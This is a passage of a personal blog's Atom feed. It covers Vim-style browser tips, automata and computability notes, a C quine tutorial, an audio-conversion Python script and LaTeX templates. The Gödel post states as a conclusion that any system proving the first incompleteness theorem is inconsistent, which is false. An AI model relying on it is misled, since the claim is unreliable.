    <li><p>在浏览器中打字感到厌烦？尝试一下外部编辑器吧。在Insert模式下输入&lt;C-i&gt;可以打开指定的外部编辑器，以Vim为例，写好之后:wq退出即可。如果不想要这么麻烦，可以输入&lt;C-t&gt;进入内置的Vi模式，也很不错。</p></li>

    <li><p>看教程点Next是不是很罗嗦？有了Pentadactyl，你只需要按]]即可。同样的，[[相当于点击了页面中的Prev。来这里体验一下：<a href="http://docs.python.org/py3k/tutorial/modules.html">http://docs.python.org/py3k/tutorial/modules.html</a></p></li>

    <li><p>修改nextpattern/previouspattern使之支持Google搜索结果的翻页：</p>

    <pre class="brush:bash">
    :set nextpattern=\s*下一页|下一张|下一篇|下页|后页\s*,^\bnext\b,\\bnext\\b,^&gt;$,^(&gt;&gt;|»)$,^(&gt;|»),(&gt;|»)$,\\bmore\\b
    :set previouspattern=\s*上一页|上一张|上一篇|上页|前页\s*,^\bprev|previous\b,\\bprev|previous\\b,^&lt;$,^(&lt;&lt;|«)$,^(&lt;|«),(&lt;|«)$
    </pre>
    </li>

    <li><p>看Blog翻页也很烦吧？试试&lt;C-a&gt;/&lt;C-x&gt;，它们会增减URL最后的数字，哈哈反正我用着是很有爽感啊。</p></li>

    <li><p>就像Vim一样，很多命令前面是可以加数字的。</p></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Python with a modular IDE (Vim)</title>
        <link href="http://blog.cykerway.com/post/287" />
        <id>http://blog.cykerway.com/post/287</id>
        <updated>2011-02-03T17:06:34Z</updated>
        <content type="html"><![CDATA[<p><a href="http://sontek.net/python-with-a-modular-ide-vim">http://sontek.net/python-with-a-modular-ide-vim</a></p>]]></content>
    </entry>
    <entry>
        <title>an operation which turns a non-regular language into a regular one</title>
        <link href="http://blog.cykerway.com/post/286" />
        <id>http://blog.cykerway.com/post/286</id>
        <updated>2011-02-02T17:06:03Z</updated>
        <content type="html"><![CDATA[<p>In the morning I got a very interesting problem:</p>

<p>Define $shuff(L) = \{w0v | wv \in L\}$. If shuff(L) is regular, prove or disprove L is also regular.</p>

<p>Update. The original problem is at <a href="http://www.student.cs.uwaterloo.ca/~cs462/prob4.pdf">http://www.student.cs.uwaterloo.ca/~cs462/prob4.pdf</a></p>

<p>At first glance, it&apos;s not told whether 0 is in the alphabet of L. So there are two cases.</p>

<p>If 0 isn&apos;t in the alphabet of L, then it&apos;s easy. A homomorphism $h(0) = \epsilon$ will turn shuff(L) into L. So L must be regular.</p>

<p>If 0 is in the alphabet of L, then things are a little bit difficult. It took me several hours (including the sleeping time...) to find an instance that will disprove this proposition.</p>

<p>From now on we suppose the alphabet is {0,1}. Take L to be the complement of $\{0^n1^n0^n1^n | n > 0\}$. Of course $\overline{L}$ is non-regular. So is L, since regularity is closed under complement. But $shuff(L) = \{w | w$ contains at least one 0 $\}$, which is regular.</p>

<p>To see $shuff(L) = \{w | w$ contains at least one 0 $\}$, we must show $shuff(L) \subseteq \{w | w$ contains at least one 0 $\}$ and $\{w | w$ contains at least one 0 $\} \subseteq shuff(L)$. The first direction is trivial. To show the second direction, for any w in this language, we can eliminate one 0 (there must be at least one 0) and get w&apos;. If w&apos; is in L, then $w \in shuff(L)$. If w&apos; isn&apos;t in L, then w&apos; must be in $\overline{L} = \{0^n1^n0^n1^n | n > 0\}$. But for any $w&apos; \in \overline{L}$, $shuff(w&apos;) = shuff(x&apos;)$ for a particular $x&apos; \in L$ (the key of the proof but not hard to prove). So $w = shuff(w&apos;) = shuff(x&apos;) \in shuff(L)$. This completes the proof.</p>]]></content>
    </entry>
    <entry>
        <title>equivalence classes of the Myhill-Nerode Theorem</title>
        <link href="http://blog.cykerway.com/post/285" />
        <id>http://blog.cykerway.com/post/285</id>
        <updated>2011-02-02T16:05:19Z</updated>
        <content type="html"><![CDATA[<p>Tom Henzinger&apos;s notes about the Myhill-Nerode: <a href="http://www-cad.eecs.berkeley.edu/~tah/172/7.pdf">http://www-cad.eecs.berkeley.edu/~tah/172/7.pdf</a></p>

<p>A regular language L has finitely many equivalence classes. Since the whole number of equivalence classes is finite, there can be only finitely many equivalence classes which contain strings in L (which correspond to the accepting states in the minimal finite automaton), and finitely many equivalence classes which contain strings not in L (which correspond to the non-accepting states in the minimal finite automaton).</p>

<p>But what for a non-regular language L?</p>

<p>A little thought will give the example $L = \{ 0^n1^m: m \geq 0, m \leq n \leq 2m, n is even \}$. It&apos;s easy to prove L is non-regular so there are infinitely many equivalence classes:</p>

<ul>
<li>$L_\alpha = {0^n1^m: m &gt; n \geq 0} \cup \Sigma^* 1 \Sigma^* 0 \Sigma^*$</li>
<li>$L_{00} = {0^{2n}1^n: n \geq 0}$</li>
<li>$L_{01} = {0^{2n}1^{n+1}: n \geq 0}$</li>
<li>$L_{02} = {0^{2n}1^{n+2}: n \geq 0}$</li>
<li>...</li>

<li>$L_{11} = {0^{2n}1^{n-1}: n \geq 0}$</li>
<li>$L_{12} = {0^{2n}1^{n-2}: n \geq 0}$</li>
<li>$L_{13} = {0^{2n}1^{n-3}: n \geq 0}$</li>
<li>...</li>
</ul>

<p>Among these equivalence classes, $L_\alpha$ and $L_{1x}$ are not in L. And $L_{0x}$ is in L. There are both infinitely many equivalence classes that are in L and not in L. </p>

<p>Furthermore, the notes of Tom give an example of a non-regular language B that has finitely many equivalence classes in B, and infinitely many equivalence classes not in B. And we know $\overline{B}$ is also non-regular. And $\overline{B}$ has infinitely many equivalence classes in $\overline{B}$, and finitely many equivalence classes not in $\overline{B}$.</p>

<p>Therefore, there should be no restriction w.r.t. infinity about the equivalence classes of a non-regular language.</p>]]></content>
    </entry>
    <entry>
        <title>Netscape cookie format</title>
        <link href="http://blog.cykerway.com/post/284" />
        <id>http://blog.cykerway.com/post/284</id>
        <updated>2011-02-02T04:48:41Z</updated>
        <content type="html"><![CDATA[<p><a href="http://www.cookiecentral.com/faq/#3.5">http://www.cookiecentral.com/faq/#3.5</a></p>

<p>This cookie format is used by wget.</p>]]></content>
    </entry>
    <entry>
        <title>On formal systems in which G&ouml;del&#039;s first incompleteness theorem can be proved</title>
        <link href="http://blog.cykerway.com/post/283" />
        <id>http://blog.cykerway.com/post/283</id>
        <updated>2011-01-25T03:47:17Z</updated>
        <content type="html"><![CDATA[<p><a href="http://en.wikipedia.org/wiki/G%C3%B6del%27s_incompleteness_theorems">Gödel&apos;s first incompleteness theorem</a> says (excerpted from Wikipedia):</p>

<blockquote>
    <p>For any <a href="http://en.wikipedia.org/wiki/Consistency">consistent</a>, effectively generated formal theory that proves certain basic arithmetic truths, there is an arithmetical statement that is true, but not provable in the theory.</p>
</blockquote>

<p>Now we consider a formal system A in which Gödel&apos;s first incompleteness theorem(G_1) can be proved.</p>

<p>If A is effectively generated, consistent and includes <a href="http://en.wikipedia.org/wiki/Peano_axioms">Peano arithmetic</a>(PA), then G_1 explicitly gives a proposition P, and asserts P is both true and unprovable inside A. Because we can prove G_1 inside A, we can prove P is true. Also, we can prove P is unprovable inside A. But this is a contradiction.</p>

<p>Therefore, a formal system cannot possess all of the four properties below:</p>

<ol>
    <li>effectively generated</li>

    <li>consistent</li>

    <li>includes Peano arithmetic</li>

    <li>in which Gödel&apos;s first incompleteness theorem can be proved</li>
</ol>

<p>Since Property 1 and 3 are usually satisfied for ordinary systems, it may sound more elegant when reformulated as:</p>

<blockquote>
    <p><b>For any formal system A, which is effectively generated and includes Peano arithmetic, if Gödel&apos;s first incompleteness theorem can be proved inside A, then A must be inconsistent.</b></p>
</blockquote>]]></content>
    </entry>
    <entry>
        <title>这个blog程序修改了一下</title>
        <link href="http://blog.cykerway.com/post/281" />
        <id>http://blog.cykerway.com/post/281</id>
        <updated>2011-01-23T17:47:49Z</updated>
        <content type="html"><![CDATA[<p>也就只有放假才能干这种<i>蛋疼</i>的事情。</p>

<p>看上去貌似比原来的<b>大</b>一些了。</p>

<p>这是个测试帖。</p>

<pre class="brush:c">
#include &lt;stdio.h&gt;

int main()
{
    printf(&quot;blablabla~~%d\n&quot;,234);
    return 0;
}
</pre>

<p>Bash的高亮应该还好用吧……</p>

<pre class="brush:bash">
chmod -R 755 a.txt
</pre>]]></content>
    </entry>
    <entry>
        <title>修改Ubuntu在VirtualBox中分辨率</title>
        <link href="http://blog.cykerway.com/post/280" />
        <id>http://blog.cykerway.com/post/280</id>
        <updated>2011-01-20T01:07:14Z</updated>
        <content type="html"><![CDATA[<p>host为Arch，guest为Ubuntu。先在host中用pacman安装virtualbox和virtualbox-additions。后者会在host系统中安装一个iso光盘映像，但这个不是给host而是给guest用的。用法就是在guest运行时，在对应的VirtualBox虚拟机窗口上选择Devices-&gt;Install Guest Additions，这相当于插入了那个iso映像。在guest里用root权限运行autorun.sh就行了。</p>

<p>重新启动guest之后在全屏模式下就有不止800x600的分辨率了。</p>]]></content>
    </entry>
    <entry>
        <title>1 second Linux boot</title>
        <link href="http://blog.cykerway.com/post/279" />
        <id>http://blog.cykerway.com/post/279</id>
        <updated>2011-01-14T22:52:59Z</updated>
        <content type="html"><![CDATA[<p>1 second Linux boot, that&apos;s what I&apos;ve always been dreaming of...</p>

<object width="640" height="390"><param name="movie" value="http://www.youtube.com/v/ULa4TPy7z0c&rel=0&hl=en_GB&feature=player_embedded&version=3"></param><param name="allowFullScreen" value="true"></param><param name="allowScriptAccess" value="always"></param><embed src="http://www.youtube.com/v/ULa4TPy7z0c&rel=0&hl=en_GB&feature=player_embedded&version=3" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="640" height="390"></embed></object>

<p><a href="http://www.embedded-bits.co.uk/2011/1-second-linux-boot-to-qt/">http://www.embedded-bits.co.uk/2011/1-second-linux-boot-to-qt/</a></p>]]></content>
    </entry>
    <entry>
        <title>ape2flac wrapper</title>
        <link href="http://blog.cykerway.com/post/278" />
        <id>http://blog.cykerway.com/post/278</id>
        <updated>2011-01-02T15:31:57Z</updated>
        <content type="html"><![CDATA[<p>适用于整轨同名ape+cue转flac。自动创建同名文件夹，自动修正文件名，自动修正cue。把ape2flac.py和需要转换的文件放在一个目录下就行了。</p>

<p>里面用了convtoflac和sed。Arch用yaourt安装即可。</p>


<pre class="brush:python">
## ape2flac batch converter wrapper
## depend on: convtoflac,sed
##
## Cyker Way, Jun 2nd, 2011

import os,sys,shutil

# change ext to lower case
for root,dirs,files in os.walk(os.curdir):
    for file in files:
        fbas,fext = os.path.splitext(file)
        os.rename(os.path.join(root,file),os.path.join(root,fbas+fext.lower()))

# move ape/flac + cue to the same folder
for root,dirs,files in os.walk(os.curdir):
    for file in files:
        fbas,fext = os.path.splitext(file)
        rbas = os.path.basename(root)

        # if ape/flac == cue != root
        if (fext in [&apos;.ape&apos;,&apos;.flac&apos;]) and \
            (os.path.exists(os.path.join(root,fbas+&apos;.cue&apos;))) and \
            (rbas != fbas):
            newdir = os.path.join(root,fbas)
            if not os.path.exists(newdir):
                os.makedirs(newdir)
            oldfile = os.path.join(root,file)
            newfile = os.path.join(newdir,file)
            shutil.move(oldfile,newfile)
            oldcue = os.path.join(root,fbas+&apos;.cue&apos;)
            newcue = os.path.join(newdir,fbas+&apos;.cue&apos;)
            shutil.move(oldcue,newcue)

# convert ape to flac
for root,dirs,files in os.walk(os.curdir):
    for file in files:
        fbas,fext = os.path.splitext(file)
        fbas2 = fbas.replace(&apos;(APE)&apos;,&apos;(FLAC)&apos;).replace(&apos;(ape)&apos;,&apos;(flac)&apos;)
        rbas = os.path.basename(root)
        rbas2 = rbas.replace(&apos;(APE)&apos;,&apos;(FLAC)&apos;).replace(&apos;(ape)&apos;,&apos;(flac)&apos;)

        # if ape == cue
        if (fext in [&apos;.ape&apos;]) and (os.path.exists(os.path.join(root,fbas+&apos;.cue&apos;))):
            # convert ape to flac, delete ape
            os.system(&quot;convtoflac -c5 -d &apos;&quot;+os.path.join(root,file)+&quot;&apos;&quot;)
            # change flac name
            os.rename(os.path.join(root,fbas+&apos;.flac&apos;),os.path.join(root,fbas2+&apos;.flac&apos;))
            # change cue name
            os.rename(os.path.join(root,fbas+&apos;.cue&apos;),os.path.join(root,fbas2+&apos;.cue&apos;))
            # change cue content
            os.system(&quot;sed -e &apos;/^FILE/s/ape/flac/&apos; -e &apos;/^FILE/s/APE/FLAC/&apos; -i &apos;&quot;+os.path.join(root,fbas2+&apos;.cue&apos;)+&quot;&apos;&quot;)
            # change root name
            os.rename(root,os.path.join(os.path.split(root)[0],rbas2))
</pre>]]></content>
    </entry>
    <entry>
        <title>Computational Complexity: A Modern Approach</title>
        <link href="http://blog.cykerway.com/post/277" />
        <id>http://blog.cykerway.com/post/277</id>
        <updated>2010-12-17T22:26:04Z</updated>
        <content type="html"><![CDATA[<p>上课用了里面的几个Chapter，最近发现全书都有draft挂在上面，好像已经有一阵了……</p>

<p><a href="http://www.cs.princeton.edu/theory/complexity/">http://www.cs.princeton.edu/theory/complexity/</a></p>]]></content>
    </entry>
    <entry>
        <title>a Turing machine emulator</title>
        <link href="http://blog.cykerway.com/post/276" />
        <id>http://blog.cykerway.com/post/276</id>
        <updated>2010-12-12T00:59:07Z</updated>
        <content type="html"><![CDATA[<p>非常蛋疼地写了一个图灵机模拟器……扔这里了：</p>

<p><a href="https://github.com/cykerway/Turing">https://github.com/cykerway/Turing</a></p>]]></content>
    </entry>
    <entry>
        <title>fuser</title>
        <link href="http://blog.cykerway.com/post/275" />
        <id>http://blog.cykerway.com/post/275</id>
        <updated>2010-12-03T14:58:34Z</updated>
        <content type="html"><![CDATA[<p>When umount a device, sometimes it will complain &quot;device busy&quot;. To solve this, use fuser.</p>

<p>To see which process is using the device (suppose the mountpoint is /mnt)</p>

<pre class="brush:bash">
fuser -cv /mnt
</pre>

<p>To kill the process:</p>

<pre class="brush:bash">
fuser -ck /mnt
</pre>

<p>fuser can also be used to check which process is using certain TCP/UDP ports:</p>

<pre class="brush:bash">
fuser -v -n tcp 4662
</pre>]]></content>
    </entry>
    <entry>
        <title>online whiteboards</title>
        <link href="http://blog.cykerway.com/post/274" />
        <id>http://blog.cykerway.com/post/274</id>
        <updated>2010-12-02T21:23:40Z</updated>
        <content type="html"><![CDATA[<p><a href="http://www.dabbleboard.com">http://www.dabbleboard.com</a></p>

<p><a href="http://www.twiddla.com">http://www.twiddla.com</a></p>

<p><a href="http://www.scriblink.com">http://www.scriblink.com</a></p>]]></content>
    </entry>
    <entry>
        <title>neuroheadset</title>
        <link href="http://blog.cykerway.com/post/273" />
        <id>http://blog.cykerway.com/post/273</id>
        <updated>2010-11-26T19:14:59Z</updated>
        <content type="html"><![CDATA[<p>The first one is from EG&apos;08. The second one is from TED 2010.</p>

<object width="640" height="390"><param name="movie" value="http://www.youtube.com/v/40L3SGmcPDQ?fs=1&amp;hl=en_US"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/40L3SGmcPDQ?fs=1&amp;hl=en_US" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="390"></embed></object>

<object width="640" height="390"><param name="movie" value="http://video.ted.com/assets/player/swf/EmbedPlayer.swf"></param><param name="allowFullScreen" value="true"></param><param name="allowScriptAccess" value="always"></param><param name="wmode" value="transparent"></param><param name="bgColor" value="#ffffff"></param><param name="flashvars" value="vu=http://video.ted.com/talks/dynamic/TanLe_2010G-medium.flv&su=http://images.ted.com/images/ted/tedindex/embed-posters/TanLe-2010G.embed_thumbnail.jpg&vw=640&vh=390&ap=0&ti=921&introDuration=15330&adDuration=4000&postAdDuration=830&adKeys=talk=tan_le_a_headset_that_reads_your_brainwaves;year=2010;theme=how_the_mind_works;theme=what_s_next_in_tech;theme=a_taste_of_tedglobal_2010;theme=tales_of_invention;event=TEDGlobal+2010;&preAdTag=tconf.ted/embed;tile=1;sz=640x390;"></param><embed src="http://video.ted.com/assets/player/swf/EmbedPlayer.swf" pluginspace="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" bgColor="#ffffff" width="640" height="390" allowFullScreen="true" allowScriptAccess="always" flashvars="vu=http://video.ted.com/talks/dynamic/TanLe_2010G-medium.flv&su=http://images.ted.com/images/ted/tedindex/embed-posters/TanLe-2010G.embed_thumbnail.jpg&vw=640&vh=390&ap=0&ti=921&introDuration=15330&adDuration=4000&postAdDuration=830&adKeys=talk=tan_le_a_headset_that_reads_your_brainwaves;year=2010;theme=how_the_mind_works;theme=what_s_next_in_tech;theme=a_taste_of_tedglobal_2010;theme=tales_of_invention;event=TEDGlobal+2010;"></embed></object>]]></content>
    </entry>
    <entry>
        <title>George Steinmetz: the maker of wonders</title>
        <link href="http://blog.cykerway.com/post/272" />
        <id>http://blog.cykerway.com/post/272</id>
        <updated>2010-11-19T11:54:44Z</updated>
        <content type="html"><![CDATA[<p>I was led into this website and soon captured by the wonders in it. </p>

<p>It&apos;s the place where the most spectacular photos lie. </p>

<p><a href="http://www.georgesteinmetz.com/">http://www.georgesteinmetz.com/</a></p>

<p>Don&apos;t miss it!</p>]]></content>
    </entry>
    <entry>
        <title>virtual page table</title>
        <link href="http://blog.cykerway.com/post/271" />
        <id>http://blog.cykerway.com/post/271</id>
        <updated>2010-11-09T11:52:21Z</updated>
        <content type="html"><![CDATA[<p>还是MIT自己的讲义靠谱</p>

<p><a href="http://pdos.csail.mit.edu/6.828/2010/lec/l-josmem.html">http://pdos.csail.mit.edu/6.828/2010/lec/l-josmem.html</a></p>

<p>反正这东西明白了就很简单。就是把整个页表在virtual address上map到以VPT&lt;&lt;22（这里指virtual address）开始的连续地址空间（一共4MB），这样就可以用页表项作为数组索引连续访问整个页表了。没有映射损失，反正是virtual address，就拨出一块专门放页表而已。</p>

<p>我说Operating System Concepts这书在写JOS的时候能有一点点一点点用么？</p>]]></content>
    </entry>
    <entry>
        <title>busy beaver is uncomputable</title>
        <link href="http://blog.cykerway.com/post/270" />
        <id>http://blog.cykerway.com/post/270</id>
        <updated>2010-11-05T14:58:33Z</updated>
        <content type="html"><![CDATA[<ol>

<li><p><a href="http://www.earlham.edu/~peters/courses/logsys/turing2.htm">http://www.earlham.edu/~peters/courses/logsys/turing2.htm</a> (This proof looks cool. But I think in step (3) it should be $n+d$ rather than $n+1$.)</p></li>

<li><p><a href="http://cis.csuohio.edu/~somos/beaver.ps">http://cis.csuohio.edu/~somos/beaver.ps</a> (This proof not only proves $\Sigma (n)$, i.e., busy beaver function, is uncomputable, but also shows that $\Sigma (n)$ grows faster than any computable function asymptotically.)</p></li>

<li>

<p>I think up of a proof using the recursion theorem. Suppose there is a TM $B$ that can compute the busy beaver function, then construct a TM $M$, starting on blank tape, do the following operation:</p>

<ul>

<li>Get its own description $&lt;M&gt;$, via the recursion theorem</li>

<li>Once you know $&lt;M&gt;$, you know the number of states of $M$. Denote it by $k$. Use $B$ to compute the busy beaver function of $k$</li>

<li>Write $k+1$ 1&apos;s on the tape, leading to a contradiction</li>

</ul>

</li>

</ol>]]></content>
    </entry>
    <entry>
        <title>how to write a quine</title>
        <link href="http://blog.cykerway.com/post/269" />
        <id>http://blog.cykerway.com/post/269</id>
        <updated>2010-11-02T12:26:31Z</updated>
        <content type="html"><![CDATA[<p>A quine is a program which outputs itself when it runs. Recursion Theorem tells you how to write a quine for a Turing machine.But you may want to implement one using the programming languages we actually use every day. Here&apos;s how to do it.</p>

<p>First let&apos;s describe the quine in a generic way. (You can skip this if you already know it.) From Recursion Theorem, a quine can be broken into two parts: A and B. Part B&apos;s rule is to first do a computation on the given input, then print the computation result followed by the given input. For now, you don&apos;t need to wonder where to get the input. </p>

<p>The computation can be roughly defined as: </p>

<p><i>Given an input w, compute the program that can output w.</i></p>

<p>Although there may be many ways to do this, we make an agreement that we always use a fixed way consistently.</p>

<p>Note that B only depends on the computation. You can write the program B from the rule given above, without knowing A.</p>

<p>Now let&apos;s come to Part A. A&apos;s rule is easy. A just outputs B using the fixed way. Note that A depends on B. But since you&apos;ve already written out B, you can write out A now.</p>

<p>The whole quine Q is AB, which means first A runs then B runs. When A finishes, it will outputs B. When B starts, it will see the input, which is B itself. Then B do the above computation to figure out the program that outputs B. Since we always use a fixed way, the computation result will be exactly A . Therefore, according to B&apos;s rule, B just prints A and B, which is Q when concatenated! Q prints Q!</p>

<p>It&apos;s time to implement it using a real programming language. In this example we use C. Note that we use two different terms output and print, which is not differed in the Turing machine description. They are differed here because we actually write to different places for the two terms. For output, we write to a string (char * in C). For print, we write to console.</p>

<p>Thus B will get its input from a char * variable. Denote this variable by s. A quick thought should give you the implementation of B:</p>

<pre class="brush:c">
printf(&quot;void main() { char *s=\&quot;%s\&quot;; %s }&quot;,s,s);
</pre>

<p>Here the fixed way to output a string means to always assign it to a char * variable s. Since A just outputs B, the program for A can be formed by assigning the above program B to a char * variable s (actually A should do more work such as including void main and curly braces):</p>

<pre class="brush:c">
void main() { char *s=&quot;printf(\&quot;void main() { char *s=\\\&quot;%s\\\&quot;; %s }\&quot;,s,s);&quot;; }
</pre>

<p>Put A and B together, we get:</p>

<pre class="brush:c">
void main() { char *s=&quot;printf(\&quot;void main() { char *s=\\\&quot;%s\\\&quot;; %s }\&quot;,s,s);&quot;; printf(&quot;void main() { char *s=\&quot;%s\&quot;; %s }&quot;,s,s); }
</pre>

<p>Run it, we get:</p>

<pre class="brush:c">
void main() { char *s=&quot;printf(&quot;void main() { char *s=\&quot;%s\&quot;; %s }&quot;,s,s);&quot;; printf(&quot;void main() { char *s=\&quot;%s\&quot;; %s }&quot;,s,s); }
</pre>
<p>It seems to work, but is affected by escapes. Where does the problem lie? The computation in B is wrong! Originally we think it&apos;s nothing but wrapping it with quotes and prefixing the whole expression with a char *s=. Actually more work needs to be done: the escape. The computation should be done in the following steps:</p>

<ul>

<li>Escape the input string</li>

<li>Wrap the escaped string with quotes</li>

<li>Prefix the wrapped string with char *s=</li>

</ul>

<p>But how to implement the escape? If the language you use provides this feature, you&apos;re lucky. But you can always write one yourself. I give a buggy version below (see the final quine), with potential buffer overflow and memory leak (which can be easily fixed).</p>

<p>Then how to make the whole program a quine with this additional function? The trick is that you can treat it as part of A (and part of the computation). This means you add a new step at the beginning of the computation, which is</p>

<ul>

<li>Define a function escape</li>

</ul>

<p>The behavior of A (and the computation) doesn&apos;t change with this additional step. But you need to rewrite B according to this new computation since the preamble changes. Then make A from the new B. Finally you combine them together to make a quine Q. The final version of Q is given below:</p>

<pre class="brush:c">
char * escape(char *s) { char *t = malloc(1024); int i = 0,j = 0; for (;i &lt; strlen(s);i++) { if (s[i] == &apos;\\&apos; || s[i] == &apos;\&apos;&apos; || s[i] == &apos;\&quot;&apos;) t[j++] = &apos;\\&apos;; t[j++] = s[i]; } t[j] = 0; return t; } void main() { char *s=&quot;printf(\&quot;char * escape(char *s) { char *t = malloc(1024); int i = 0,j = 0; for (;i &lt; strlen(s);i++) { if (s[i] == \\\&apos;\\\\\\\\\\\&apos; || s[i] == \\\&apos;\\\\\\\&apos;\\\&apos; || s[i] == \\\&apos;\\\\\\\&quot;\\\&apos;) t[j++] = \\\&apos;\\\\\\\\\\\&apos;; t[j++] = s[i]; } t[j] = 0; return t; } void main() { char *s=\\\&quot;%s\\\&quot;; %s }\&quot;,escape(s),s);&quot;; printf(&quot;char * escape(char *s) { char *t = malloc(1024); int i = 0,j = 0; for (;i &lt; strlen(s);i++) { if (s[i] == \&apos;\\\\\&apos; || s[i] == \&apos;\\\&apos;\&apos; || s[i] == \&apos;\\\&quot;\&apos;) t[j++] = \&apos;\\\\\&apos;; t[j++] = s[i]; } t[j] = 0; return t; } void main() { char *s=\&quot;%s\&quot;; %s }&quot;,escape(s),s); }
</pre>
<p>This is exactly the program that will prints itself when it runs. But it is not easy to understand, so I provide the same program with proper line breaks and indentations:</p>

<pre class="brush:c">
char * escape(char *s)
{ 
    char *t = malloc(1024);
    int i = 0,j = 0; for (;i &lt; strlen(s);i++) {
        if (s[i] == &apos;\\&apos; || s[i] == &apos;\&apos;&apos; || s[i] == &apos;\&quot;&apos;)
            t[j++] = &apos;\\&apos;;
        t[j++] = s[i];
    }
    t[j] = 0;
    return t;
}

void main()
{
    char *s=&quot;printf(\&quot;char * escape(char *s) { char *t = malloc(1024); int i = 0,j = 0; for (;i &lt; strlen(s);i++) { if (s[i] == \\\&apos;\\\\\\\\\\\&apos; || s[i] == \\\&apos;\\\\\\\&apos;\\\&apos; || s[i] == \\\&apos;\\\\\\\&quot;\\\&apos;) t[j++] = \\\&apos;\\\\\\\\\\\&apos;; t[j++] = s[i]; } t[j] = 0; return t; } void main() { char *s=\\\&quot;%s\\\&quot;; %s }\&quot;,escape(s),s);&quot;;
    printf(&quot;char * escape(char *s) { char *t = malloc(1024); int i = 0,j = 0; for (;i &lt; strlen(s);i++) { if (s[i] == \&apos;\\\\\&apos; || s[i] == \&apos;\\\&apos;\&apos; || s[i] == \&apos;\\\&quot;\&apos;) t[j++] = \&apos;\\\\\&apos;; t[j++] = s[i]; } t[j] = 0; return t; } void main() { char *s=\&quot;%s\&quot;; %s }&quot;,escape(s),s);
}
</pre>

<p>Don&apos;t be misled by a lot of backslashes, there&apos;re just two rounds of escaping, first from the preamble to B, second from B to A.</p>

<p>Finally, the methods for making a quine can be summarized as three steps:</p>

<p>Figure out the computation.</p>

<p>Make B with the computation built in.</p>

<p>Make A, which just outputs B.</p>

<p>Quiz.</p>

<ol>

<li>Fix the memory leak.</li>

<li>Fix the buffer overflow.</li>

<li>gcc will give warnings due to some not included headers. Fix it.</li>

</ol>

<p>(Hint: Add stuff to A.)</p>]]></content>
    </entry>
    <entry>
        <title>LaTeX templates for automata and quantum circuits</title>
        <link href="http://blog.cykerway.com/post/268" />
        <id>http://blog.cykerway.com/post/268</id>
        <updated>2010-10-16T15:06:12Z</updated>
        <content type="html"><![CDATA[<p>Here are two LaTeX templates, one for drawing automata, the other for drawing quantum circuits.</p>

<p><b>Automata</b></p>

<p>This templates uses pgf/tikz.</p>

<p>Note. On Arch Linux, you can install the texlive-pictures package, which contains pgf/tikz.</p>

<pre class="brush:latex">
\documentclass[a4paper]{article}

\usepackage{amsmath,amsfonts,amsthm,amssymb}
\usepackage{pgf,tikz}
\usetikzlibrary{shapes,arrows,automata,positioning}

\begin{document}
\thispagestyle{empty}

\begin{tikzpicture}[shorten &gt;= 1pt,node distance=2.4cm,on grid,&gt;=stealth&apos;,every state/.style={draw=blue!50,very thick,fill=blue!20}]
    \draw[help lines] (0,0) grid (8,6);

%   Node format:
    \node[state,initial,accepting]  (q_0)   at (0,3)                {$q_0$};
    \node[state]                    (q_1)   [above right=of q_0]    {$q_1$};
    \node[state,accepting]          (q_2)   at (4,0)                {$q_2$};

%   Path format:
    \path[-&gt;]
    (q_0)   edge [loop right]   node                {\parbox[t]{48pt}{$0,\epsilon \rightarrow 0 \\ 1, \epsilon \rightarrow 1$}} ()
            edge                node [above left]   {\parbox[t]{48pt}{$0,\epsilon \rightarrow 0 \\ 1, \epsilon \rightarrow 1$}} (q_1)
            edge                node [below left]   {\parbox[t]{48pt}{$0,\epsilon \rightarrow 0 \\ 1, \epsilon \rightarrow 1$}} (q_2);

\end{tikzpicture}

\end{document}
</pre>

<p>Here are some explanations.</p>

<pre class="brush:latex">
\draw[help lines] (0,0) grid (8,6);
</pre>

<p>This line draws a grid to help you put nodes. You can comment this line after you&apos;re content with your drawing.</p>

<pre class="brush:latex">
\node[state,initial,accepting]  (q_0)   at (0,3)                {$q_0$};
\node[state]                    (q_1)   [above right=of q_0]    {$q_1$};
</pre>

<p>These two lines defines two nodes. q_0 is a node marked as state, initial, and accepting, and is placed at coordinate (0,3). The second part (q_0) sets its name, while last part $q_0$ sets the text inside it.</p>

<p>q_1 is similarly defined, but uses a relative positioning.</p>

<pre class="brush:latex">
\path[-&gt;]
    (q_0)   edge [loop right]   node                {\parbox[t]{48pt}{$0,\epsilon \rightarrow 0 \\ 1, \epsilon \rightarrow 1$}} ()
            edge                node [above left]   {\parbox[t]{48pt}{$0,\epsilon \rightarrow 0 \\ 1, \epsilon \rightarrow 1$}} (q_1)
            edge                node [below left]   {\parbox[t]{48pt}{$0,\epsilon \rightarrow 0 \\ 1, \epsilon \rightarrow 1$}} (q_2);
</pre>

<p>This line defines a path starting at (q_0), which consists of three lines. If a line is a loop, point out the loop direction as indicated by [loop right]. The positioning option [above left] after node puts the text at the &apos;above left&apos; of the line. Finally, if the text contains line break, you should enclose it inside \parbox. </p>
<p>Download the .tex file <a href="uploads/20101016/automata_template.tex">here</a>.</p>

<p><b>Quantum circuits</b></p>

<p>Actually the template here is nothing but a figure environment:</p>

<pre class="brush:latex">
\begin{figure}[H]
    \begin{center}
        \includegraphics[width=0.2\textwidth]{a.png}
    \end{center}
\end{figure}
</pre>
<p>But the importance is how to generate the picture of the quantum circuit. I recommend the qasm2circ package written by Prof. Issac L. Chuang. </p>

<p>You can download this package at <a href="http://www.media.mit.edu/quanta/qasm2circ/">http://www.media.mit.edu/quanta/qasm2circ/</a>, extract it at ${TEXMFLOCAL}/tex/latex/qasm2circ, then run texhash.</p>

<p>We&apos;ll use qasm2png to generate png files we want. qasm2png will call qasm2tex.py, so add the full path to it in qasm2png if qasm2png complains not being able to find it.</p>

<p>Now you can describe your quantum circuit using the QASM language. You can view the homepage above, or read README.</p>

<p>To generate png files, run</p>

<pre class="brush:bash">
qasm2png a.qasm
</pre>

<p>You&apos;ll get a.png, which you need in the .tex file.</p>
<p>qasm2png supports batch operation. So you can process several .qasm files at one time, like</p>

<pre class="brush:bash">
qasm2png a.qasm b.qasm c.qasm</pre>]]></content>
    </entry>
    <entry>
        <title>input Russian in Linux</title>
        <link href="http://blog.cykerway.com/post/267" />
        <id>http://blog.cykerway.com/post/267</id>
        <updated>2010-10-15T19:43:57Z</updated>
